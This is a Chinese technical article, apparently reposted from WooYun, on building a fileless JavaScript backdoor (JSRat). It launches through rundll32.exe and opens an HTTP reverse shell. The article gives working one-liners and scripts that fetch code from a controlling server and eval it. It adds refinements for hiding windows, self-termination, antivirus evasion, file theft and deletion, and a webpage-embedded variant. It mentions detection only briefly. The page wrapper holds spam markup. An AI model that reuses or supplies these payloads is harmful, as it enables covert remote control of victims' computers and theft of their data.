<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/11764

                    0x00 前言


                    Casey Smith最近在Twitter分享了他的研究成果,執行一段JavaScript代碼即可反彈一個Http Shell,很是奇妙,所以就對這個技術做了進一步研究。

                    Alt text

                    0x01 簡介


                    Alt text

                    從截圖我們可以看到該技術的使用方法,在cmd下利用rundll32.exe加載JavaScript代碼,代碼運行后會反彈一個Http Shell,而特別的地方在于當運行完cmd命令后,后臺會一直存在進程rundll32.exe用來同Server持續連接,整個過程不需要寫入文件,隱蔽性大大提高。

                    0x02 測試環境


                    Server:

                    #!bash
                    OS:Win7 x64
                    IP:192.168.174.131
                    

                    Client:

                    #!bash
                    OS:Win7 x86
                    IP:192.168.174.130
                    

                    下載鏈接:
                    https://gist.github.com/subTee/f1603fa5c15d5f8825c0

                    0x03 實際測試


                    1、Server啟動服務,監聽端口

                    需要將下載腳本中的IP修改為當前主機IP

                    管理員運行

                    2、Client加載JavaScript指令

                    #!bash
                    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);h.Send();B=h.ResponseText;eval(B)
                    

                    3、Server彈回Shell

                    可以執行cmd命令并獲得回顯

                    Alt text

                    0x04 測試中的Bug


                    1、連接超時

                    Alt text

                    在成功返回shell后,如果在后臺等待一段時間,Clinet就會彈出超時連接的對話框

                    Alt text

                    從截圖可以看到Casey Smith已經發現了連接超時的問題,所以在新版本已經做了修正,加上window.setTimeout來避免連接超時的錯誤,在message內加了超時判斷(message存儲用于實現Client后續連接的代碼,具體細節一看代碼就明白),但是這樣做還遠遠不夠。

                    2、進程殘留

                    如果Server退出,Clinet還會存在rundll32.exe進程

                    3、執行cmd命令會彈黑框

                    如果是立即回顯的cmd命令,黑框一閃而過

                    如果是systeminfo這種需要等待的cmd命令,會一直彈出cmd 執行的黑框,等到執行完畢才會退出

                    4、執行exe會阻塞

                    比如執行calc.exe,server端會阻塞,直到關閉calc.exe進程才會恢復正常

                    如圖

                    Alt text

                    5、無法刪除文件

                    如圖

                    Alt text

                    Alt text

                    6、server端無法正常退出

                    想退出只能強行關閉當前cmd.exe

                    7、無法上傳下載文件

                    0x05 優化思路


                    1、對setTimeout的解釋

                    查詢相關資料如下:
                    https://msdn.microsoft.com/en-us/library/windows/desktop/aa384061(v=vs.85).aspx

                    文中提到了JavaScript實現WinHttpRequest的用法,如圖

                    Alt text

                    setTimeout用來設置http的超時時間,如果全為0,代表no time-out,也就是無限期

                    注:
                    在Casey Smith發布的第一個版本尚未修復該方法的時候,我解決該方法的思路是參照微軟的方法,對應到代碼中就是添加
                    h.SetTimeouts(0, 0, 0, 0);即可

                    2、增加try catch方法處理錯誤消息

                    Casey Smith在代碼中雖然加入了超時判斷,但沒有對其他可能產生的意外錯誤做判斷,所以需要添加try catch對錯誤消息進行響應。

                    try catch不僅能夠解決上述問題中的Bug1,同樣能用來判斷輸入的命令能否成功執行(比如輸錯命令或輸錯路徑)

                    (相關細節可參照結尾提供的參考代碼)

                    查詢相關資料如下:
                    http://blog.csdn.net/qdfeitian/article/details/6371146

                    3、使用taskkill解決進程殘留的問題

                    Clinet可以使用taskkill來結束自身進程,自動退出

                    #!js
                    new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe")
                    

                    4、WScript.Shell對象run和exec的區別

                    參考資料:

                    為了獲得cmd命令的回顯,Casey Smith采用的方法是使用exec方法,因為只有exec方法的返回值是一個對象,才可以獲得控制臺輸出信息和控制臺錯誤信息

                    而run方法的返回值是一個整數,就是0或1成功和失敗兩個狀態

                    但是使用exec方法也有一些弊端,比如測試中的bug3和bug4,這是exec方法本身所無法解決的問題。

                    而如果使用run方法可以解決bug4

                    綜上,解決思路是對輸入的內容做判斷,如果是cmd命令,使用exec方法;如果是執行exe,使用run方法

                    5、解決使用run方法執行命令會彈黑框的問題

                    參考資料:
                    https://msdn.microsoft.com/zh-cn/library/d5fk67ky(en-us,VS.85).aspx

                    如圖

                    Alt text

                    run方法其實后面還可以加參數指示該窗口能否被看見

                    所以在執行比如taskkill的命令就可以使用

                    #!js
                    new ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true)
                    

                    避免彈出黑框

                    注:
                    intWindowStyle參數的說明中提到“Note that not all programs make use of this information.”
                    例子之一就是用run方法來執行systeminfo這種需要等待的cmd命令是無法隱藏窗口的

                    6、如何隱蔽執行systeminfo并獲取回顯

                    參考了如下資料:
                    WooYun: 搜狗瀏覽器遠程命令執行之五 "> WooYun: 搜狗瀏覽器遠程命令執行之五

                    如果使用exec方法,雖然可以獲取到回顯,但是利用window.moveTo(-1000,-1000)無法移動彈出的黑框

                    而使用run方法雖然可以移動彈出的黑框,但是無法獲得回顯

                    綜合這兩種方法,最后我們只能退而求其次,使用run方法將執行命令回顯的結果輸出到文件中,然后再通過讀取文件來獲取結果

                    具體實現如下:

                    (1)使用run方法將systeminfo回顯的結果輸出到文件中c\test\a.txt

                    示例代碼:

                    #!js
                    new ActiveXObject("WScript.Shell").Run("cmd /c systeminfo >>c\test\a.txt",0,true)
                    

                    (2)讀取文件并回傳

                    示例代碼:

                    #!js
                    fso1=new ActiveXObject("Scripting.FileSystemObject");
                    f=fso1.OpenTextFile(d,1);
                    g=f.ReadAll();
                    f.Close();
                    

                    通過調用new ActiveXObject("Scripting.FileSystemObject")讀取回顯內容,然后再回傳信息

                    (相關細節可參照結尾提供的參考代碼)

                    7、解決連接超時的問題

                    通過以上的分析,如果要解決連接超時的問題,需要對Clinet執行的命令添加如下功能:

                    1. 捕獲錯誤消息
                    2. 進程自動退出
                    3. 全過程不彈黑框

                    所以Clinet執行的命令最終優化為:

                    #!bash
                    rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.174.131/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e{new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
                    

                    8、解決server端無法正常退出

                    加入exit命令判斷,如果輸入exit,那么Client調用taskkill結束自身,Server同樣執行exit退出

                    (相關細節可參照結尾提供的參考代碼)

                    9、解決刪除文件的問題

                    通過調用new ActiveXObject("Scripting.FileSystemObject")實現

                    示例代碼:

                    #!js
                    fso1=new ActiveXObject("Scripting.FileSystemObject");
                    f =fso1.GetFile(d);
                    f.Delete();
                    

                    (相關細節可參照結尾提供的參考代碼)

                    10、解決文件上傳下載

                    示例如圖:

                    Alt text

                    示例代碼可以實現簡單的文件上傳下載,但里面存在一個小bug,如果你投入精力,不難解決

                    0x06 補充


                    1、白名單進程,免疫殺毒軟件

                    由于是通過rundll.exe調用的代碼,所以殺毒軟件會放行,不會攔截

                    2、檢測

                    通信協議使用HTTP,通過防火墻攔截流量即可發現其中的攻擊行為

                    3、更多加載方式

                    (1)js文件

                    可以放在js文件里面 雙擊js文件執行

                    #!js
                    h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                    h.Open("GET","http://192.168.174.131/connect",false);
                    try{
                    h.Send();
                    B=h.ResponseText;
                    eval(B);
                    }
                    catch(e)
                    {
                    new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im wscript.exe",0,true);
                    }
                    

                    后臺進程為wscript.exe

                    (2)嘗試掛在網頁里面

                    #!html
                    <!doctype html public "-//w3c//dtd html 4.0 transitional//en">
                    <html>
                    <head>
                     <title> new document </title>
                     <meta name="generator" content="editplus">
                     <meta name="author" content="">
                     <meta name="keywords" content="">
                     <meta name="description" content="">
                     <script language="javascript" type="text/javascript">
                    h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
                    h.Open("GET","http://192.168.174.131/connect",false);
                    h.Send();
                    B=h.ResponseText;
                    eval(B);
                    </script>
                    </head>
                    <body>
                    </body>
                    </html>
                    

                    使用ie打開會提示是否加載控件,如果允許,即可彈回shell

                    Chrome、Firefox不支持ActiveXObject,所以不會觸發

                    0x07 小結


                    我在Casey Smith的基礎上,對其代碼做了進一步優化,對JavaScript Backdoor技術做了進一步研究,感謝他的無私分享,才有了我的這篇文章。

                    我開發的代碼已上傳到github,下載鏈接:
                    https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1

                    歡迎下載測試,交流學習。

                    支持的功能如圖

                    Alt text

                    注:
                    本文僅用來學習交流JavaScript Backdoor技術,并提供了檢測方法
                    同時在文件上傳下載的功能上留下了bug,距實際使用還有一點距離,以避免該方法被濫用。

                    本文由三好學生原創并首發于烏云drops,轉載請注明

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频